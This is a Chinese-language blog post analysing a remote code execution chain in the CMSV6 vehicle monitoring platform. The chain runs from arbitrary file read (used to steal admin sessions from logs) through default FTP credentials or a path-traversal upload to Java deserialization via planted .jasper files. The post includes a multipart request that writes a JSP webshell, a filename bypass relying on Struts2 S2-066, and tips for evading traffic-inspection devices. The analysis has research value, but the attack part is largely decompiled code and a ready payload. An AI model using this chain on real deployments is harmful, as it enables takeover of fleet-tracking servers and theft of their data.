浅析通天星CMSV6车载定位监控平台远程代码执行漏洞 写在前面 看了一下通告看着还是比较有意思的,通天星CMSV6车载定位监控平台远程代码执行漏洞
第一步是通过任意文件读取漏洞,读取log日志获取admin的session信息
第二步通过默认密码登录ftp服务器上传文件(或通过后台任意文件上传漏洞)
第三步触发上传文件中的恶意代码
正文 采用了经典SSH架构
任意文件读取 关于任意文件读取,从官方安全公告 也不难看出:
(中危)修复StandardSchoolBusAction_downLoad.action接口任意文件下载问题
漏洞点位于StandardSchoolBusAction的downLoad功能,这部分访问规则的配置看struts2.xml
即可
定义了class与mothod的访问方式
1 <action name ="**/*_*.action" class ="{2}" method ="{3}" >
经过简单的分析发现,实际漏洞点在com.gpsCommon.action.CommonBaseAction#downLoad
,代码逻辑比较简单就不详细分析了,相关代码如下,可以看到读取的文件不仅可以是使用绝对路径,也可以使用相对路径读取任意文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 public String downLoad () { int result = 0 ; try { String filePath = this .getDownloadFileRealPath(this .getRequest()); if ((!filePath.contains("tomcat/" ) || filePath.contains("tomcat/ttxapps" )) && !filePath.contains(".xml" ) && !filePath.contains("WEB-INF" ) && !filePath.contains("classes" )) { if (!AssertUtils.isNull(filePath)) { InputStream ins = null ; BufferedInputStream bins = null ; OutputStream outs = null ; BufferedOutputStream bouts = null ; Integer requestStringEx = this .getRequestInteger("isTure" ); Integer isStream = this .getRequestInteger("isStream" ); Integer isDel = this .getRequestInteger("isDel" ); String fileRealPath = null ; if (requestStringEx != null && requestStringEx == 1 ) { fileRealPath = filePath; } else { fileRealPath = this .getDownloadFileRealPath(this .getServletContext(), filePath); } File file = new File(fileRealPath); if (file.exists()) { ins = new FileInputStream(fileRealPath); bins = new BufferedInputStream(ins); outs = this .getResponse().getOutputStream(); bouts = new BufferedOutputStream(outs); if (isStream == null || isStream != 1 ) { this .setDownLoadParam(this .getRequest(), this .getResponse(), file.getName()); } int b = false ; byte [] buffer = new byte [512 ]; int b; while ((b = bins.read(buffer)) != -1 ) { bouts.write(buffer, 0 , b); } bouts.flush(); ins.close(); bins.close(); outs.close(); bouts.close(); if (isDel != null && isDel == 1 && file.exists()) { file.delete(); } } else { result = 44 ; this .addCustomResponse(ACTION_RESULT, 44 ); this .addCustomResponse(ACTION_RESULT_TIP, "File Not Exist!" ); this .log.error("下载的文件不存在" ); } } else { result = 8 ; this .addCustomResponse(ACTION_RESULT, 8 ); this .addCustomResponse(ACTION_RESULT_TIP, "Request Param Error!" ); this .log.error("下载文件时参数错误" ); } } else { result = 24 ; this .addCustomResponse(ACTION_RESULT, 24 ); this .addCustomResponse(ACTION_RESULT_TIP, "Permission denied!" ); this .log.error("用户无权限下载Tomcat内的文件" ); } } catch (Exception var14) { this .log.error(var14.getMessage(), var14); result = 4 ; this .addCustomResponse(ACTION_RESULT, 4 ); this .addCustomResponse(ACTION_RESULT_TIP, "Request Exception!" ); } return this .getReturnParam(result); } protected String getDownloadFileRealPath (HttpServletRequest request) { return this .getRequestStringEx("path" ); } public String getRequestStringEx (String parameter) { return RequestUtil.getRequestStringEx(parameter); } public static String getRequestStringEx (String parameter) { try { HttpServletRequest request = getRequest(); if (request == null ) { return null ; } else { request.setCharacterEncoding("UTF-8" ); String param = request.getParameter(parameter); return param != null ? URLDecoder.decode(param, StandardCharsets.UTF_8) : null ; } } catch (Exception var3) { log.error(var3.getMessage(), var3); return null ; } }
通过任意文件读取我们能很容易读取到session信息
另外多提一嘴,漏洞点com.gpsCommon.action.CommonBaseAction#downLoad
在抽象类当中,通过将tomcat下class手动打包为jar后分析,不难发现实际受影响的路由多达320个,因此实际利用时我们不必拘泥与官方公告提到的一种
后台文件上传 文件上传有两种方式,一种通过FTP服务,如果用户为更改默认密码那么即可使用其登录上传文件
另一种,既然有了session,我们便很容易能够使用此session调用后台接口,比如WebuploaderAction#ajaxAttachAllFileUpload
但很可惜的是代码中有关于上传文件后缀的严格限制,因此我们无法实现直接上传webshell文件
1 2 String getsuffix = getsuffixEx(fileName); if (!limitType(getsuffix)) {
反序列化 但我们不必灰心,在公告中我们不难发现上传了一些名为jasper
后缀的文件
因此我们需要去寻找加载恶意jasper文件的路由,在com.gps808.operationManagement.action.StandardLineAction#report
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 public void report () { try { String format = this .getRequestString("format" ); String name = this .getRequestString("name" ); String lid = this .getRequestString("id" ); String direct = this .getRequestString("direct" ); String disposition = this .getRequestString("disposition" ); String reportTitle = "" ; StandardCompany line = (StandardCompany)this .standardLineService.getObject(StandardCompany.class, Integer.parseInt(lid)); if (line != null ) { reportTitle = line.getName(); if (direct != null ) { if (direct.equals("0" )) { reportTitle = reportTitle + "S" ; } else if (direct.equals("1" )) { reportTitle = reportTitle + "X" ; } } } AjaxDto<StandardLineStationRelationStation> stationRelation = this .standardLineService.getLineStationInfos(Integer.parseInt(lid), Integer.parseInt(direct), 1 , " order by sindex asc " , (Pagination)null ); List<Map> list = new ArrayList(); String language = this .getAndUpdateSessionLanguage(); if (stationRelation != null && stationRelation.getPageList() != null ) { int i = 0 ; for (int j = stationRelation.getPageList().size(); i < j; ++i) { StandardLineStationRelationStation relation = (StandardLineStationRelationStation)stationRelation.getPageList().get(i); Map map = new HashMap(); map.put("sindex" , relation.getSindex()); map.put("name" , relation.getStation().getName()); map.put("direct" , this .getStationDirectEx(relation.getStation().getDirect(), language)); map.put("stype" , this .getStationTypeEx(relation.getStype(), language)); map.put("lngIn" , GpsUtil.formatPosition(relation.getStation().getLngIn())); map.put("latIn" , GpsUtil.formatPosition(relation.getStation().getLatIn())); map.put("angleIn" , relation.getStation().getAngleIn()); map.put("speed" , GpsUtil.getFormatSpeed(relation.getSpeed(), 1 , new Boolean[0 ])); map.put("len" , GpsUtil.getFormatLiCheng(relation.getLen())); list.add(map); } } Map mapHeads = new HashMap(); mapHeads.put("sindex" , LanguageCache.getLanguageTextEx("line_station_index" , language)); mapHeads.put("name" , LanguageCache.getLanguageTextEx("line_station_name" , language)); mapHeads.put("direct" , LanguageCache.getLanguageTextEx("line_station_direction" , language)); mapHeads.put("stype" , LanguageCache.getLanguageTextEx("line_station_type" , language)); mapHeads.put("lngIn" , LanguageCache.getLanguageTextEx("line_station_in_lng" , language)); mapHeads.put("latIn" , LanguageCache.getLanguageTextEx("line_station_in_lat" , language)); mapHeads.put("angleIn" , LanguageCache.getLanguageTextEx("line_station_in_angle" , language)); mapHeads.put("speed" , LanguageCache.getLanguageTextEx("line_station_limit_speed" , language) + " (KM/H)" ); mapHeads.put("len" , LanguageCache.getLanguageTextEx("line_station_distance" , language) + " (KM)" ); ReportPrint print = null ; try { print = this .getReportCreate().createReport(name); print.setMapHeads(mapHeads); print.setReportTitle(reportTitle); print.setDateSource(list); print.setFormat(format); print.setDocumentName(name); print.setDisposition(disposition); print.exportReport(); } catch (IOException var15) { this .log.error(var15.getMessage(), var15); } catch (ServletException var16) { this .log.error(var16.getMessage(), var16); } catch (Exception var17) { this .log.error(var17.getMessage(), var17); } } catch (Exception var18) { this .log.error(var18.getMessage(), var18); this .addCustomResponse(ACTION_RESULT, 1 ); } }
在这些代码中我们重点关注this.getReportCreate().createReport(name);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected ReportCreater getReportCreate () { if (this .reportCreate == null ) { this .reportCreate = new ReportCreater(); this .reportCreate.setJasperReportPath(ServletActionContext.getServletContext().getRealPath("WEB-INF\\jasper" )); } return this .reportCreate; } public ReportPrint createReport (String reportKey) throws IOException { try { return this ._createReport(reportKey); } catch (JRException var3) { this .log.error(var3.getMessage(), var3); throw new IOException(); } }
继续跟进_createReport
的调用,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 private ReportPrint _createReport (String reportKey) throws JRException, IOException { JasperReport jasperReport = this .getJasperReport(reportKey); Map parameters = this .getParameters_(reportKey); ReportPrint reportPrint = new ReportPrint(jasperReport, parameters); return reportPrint; } private JasperReport getJasperReport (String reportKey) throws IOException, JRException { JasperReport jasperReport = null ; if (this .jasperDesignMap.containsKey(reportKey)) { jasperReport = (JasperReport)this .jasperDesignMap.get(reportKey); } else { jasperReport = this .getJasperReportFromFile(reportKey); this .jasperDesignMap.put(reportKey, jasperReport); } return jasperReport; } private JasperReport getJasperReportFromFile (String reportKey) throws IOException, JRException { String filePath = this .jasperReportPath + "\\" + reportKey + ".jasper" ; File reportFile = null ; JasperReport jasperReport = null ; reportFile = new File(filePath); if (reportFile.exists() && reportFile.isFile()) { jasperReport = (JasperReport)JRLoader.loadObject(reportFile); } return jasperReport; } public static Object loadObject (File file) throws JRException { return loadObject(DefaultJasperReportsContext.getInstance(), (File)file); } public static Object loadObject (JasperReportsContext jasperReportsContext, File file) throws JRException { if (file.exists() && file.isFile()) { Object obj = null ; FileInputStream fis = null ; ObjectInputStream ois = null ; try { fis = new FileInputStream(file); BufferedInputStream bufferedIn = new BufferedInputStream(fis); ois = new ContextClassLoaderObjectInputStream(jasperReportsContext, bufferedIn); obj = ois.readObject(); } catch (IOException var17) { throw new JRException("util.loader.object.from.file.loading.error" , new Object[]{file}, var17); } catch (ClassNotFoundException var18) { throw new JRException("util.loader.class.not.found.from.file" , new Object[]{file}, var18); } finally { if (ois != null ) { try { ois.close(); } catch (IOException var16) { } } if (fis != null ) { try { fis.close(); } catch (IOException var15) { } } } return obj; } else { throw new JRException(new FileNotFoundException(String.valueOf(file))); } }
从以下调用链不难发现最终会通过文件内容触发反序列化执行,并且在这过程中文件名未做校验可以穿越到FTP服务目录下
com.framework.jasperReports.ReportCreater#_createReport
=>com.framework.jasperReports.ReportCreater#getJasperReport
=>com.framework.jasperReports.ReportCreater#getJasperReportFromFile
=>net.sf.jasperreports.engine.util.JRLoader#loadObject
=>net.sf.jasperreports.engine.util.ContextClassLoaderObjectInputStream#readObject
因此最终漏洞的完整利用就出来了
尝试突破文件上传限制 但我们也知道如果仅仅是依赖ftp默认用户名实现文件上传的话那可就太难了,在开始前简单聊一下struts2的配置
在配置中写到了action的访问方式,但我们的路由访问并未出现全类名,那它是怎么找到具体的类的呢?
1 <action name ="*_*.action" class ="{1}" method ="{2}" >
经过查找,可以在applicationContext-xxxx.xml
中定义的bean中找到答案,我们可以直接使用bean-name得到这个类
1 2 <bean name ="StandardApiAction" class ="com.gps808.api.action.StandardApiAction" scope ="prototype" parent ="standardUserBaseAction" > xxxxxx
而如果这个类未在xml中定义我们就需要使用全类名来标识这个类,此时我们便可以将目标锁定到com.framework.web.action.FileUploadAction#upload
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 package com.framework.web.action;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.util.List;public class FileUploadAction extends BaseAction { private static final long serialVersionUID = 1L ; private String describe; private List<File> uploadFile; private List<String> uploadFileFileName; private List<String> uploadFileContentType; public FileUploadAction () { } public boolean hasOperatorPrivi () { return true ; } public void upload () { for (int i = 0 ; i < this .uploadFileFileName.size(); ++i) { BufferedInputStream bis = null ; BufferedOutputStream bos = null ; String fileName = (String)this .uploadFileFileName.get(i); try { if (!"" .equals(fileName)) { FileInputStream fis = new FileInputStream((File)this .uploadFile.get(i)); FileOutputStream fos = new FileOutputStream("C:\\" + fileName); bis = new BufferedInputStream(fis); bos = new BufferedOutputStream(fos); byte [] b = new byte [1024 ]; int len = true ; int len; while ((len = bis.read(b)) != -1 ) { bos.write(b, 0 , len); } } } catch (Exception var17) { } finally { try { if (bis != null ) { bis.close(); } if (bos != null ) { bos.close(); } } catch (IOException var16) { } } } } public String image () throws Exception { try { this .upload(); } catch (Exception var2) { this .log.error(var2.getMessage(), var2); this .addCustomResponse(ACTION_RESULT, 1 ); } return "success" ; } public String getDescribe () { return this .describe; } public void setDescribe (String describe) { this .describe = describe; } public List<File> getUploadFile () { return this .uploadFile; } public void setUploadFile (List<File> uploadFile) { this .uploadFile = uploadFile; } public List<String> getUploadFileFileName () { return this .uploadFileFileName; } public void setUploadFileFileName (List<String> uploadFileFileName) { this .uploadFileFileName = uploadFileFileName; } public List<String> getUploadFileContentType () { return this .uploadFileContentType; } public void setUploadFileContentType (List<String> uploadFileContentType) { this .uploadFileContentType = uploadFileContentType; } }
可以在代码中看到直接的路径拼接,FileOutputStream fos = new FileOutputStream("C:\\" + fileName);
,因此我们便可以直接上传jasper
文件并触发反序列化了
另一方面既然可以任意写入,我们很容易想到在子目录下写入webshell文件,但由于是struts2的上传处理,在org.apache.struts2.interceptor.FileUploadInterceptor
中,在这个拦截器最终获取文件名时,会处理带\
以及/
的文件名
1 2 3 4 5 6 7 8 9 10 11 12 13 protected String getCanonicalName (final String originalFileName) { String fileName = originalFileName; int forwardSlash = fileName.lastIndexOf('/' ); int backwardSlash = fileName.lastIndexOf('\\' ); if (forwardSlash != -1 && forwardSlash > backwardSlash) { fileName = fileName.substring(forwardSlash + 1 ); } else { fileName = fileName.substring(backwardSlash + 1 ); } return fileName; }
这时候怎么办呢?我们知道struts2在23年年底出了一个新漏洞,这时候便可以排出用场了,忘了的可以回顾我之前的文章,Apache Struts2 文件上传分析(S2-066)
因此我们便能够构造,达到前台RCE的效果
1 2 3 4 5 6 7 8 9 10 11 --------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv Content-Disposition : form-data; name="UploadFile";filename="z12.jsp";Content-Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document<%out.print("Hacked By Y4tacker");%> --------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv Content-Disposition : form-data; name="uploadFileFileName";Program Files\CMSServerV6\tomcat\webapps\gpsweb\1.jsp --------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv--
但很可惜新版本中struts2的依赖更新到了2.5.33的安全版本,并且将com.framework.web.action.FileUploadAction#upload
强行设置了路径404
并移除了上传处理逻辑,因此在新版本中也便失效了
结合S2的漏洞时间可以大胆猜测也许是在年底前删除的?当然由于我没有代码所以无处验证了,在实战环境中可以多做尝试
对抗流量设备的一些尝试 不仅仅可以读取log_info.log获取用户session,还可以尝试读取web.xml文件,在当中配置了Druid监控的用户名以及密码,在老版本中这个配置默认启用,新版本中druid监控成为了可选项,但不失为一种漏洞利用的尝试
使用全类名替代bean
的获取形式,假如流量设备拦截路由为/StandardABCAction_downLoad
,我们完全可以使用/com.xxx.xxxxAction_downLoad
的形式尝试绕过
我们不仅可以使用官方公告中使用的StandardSchoolBusAction
路由,经过分析凡是继承了com.gpsCommon.action.CommonBaseAction
的类均能使用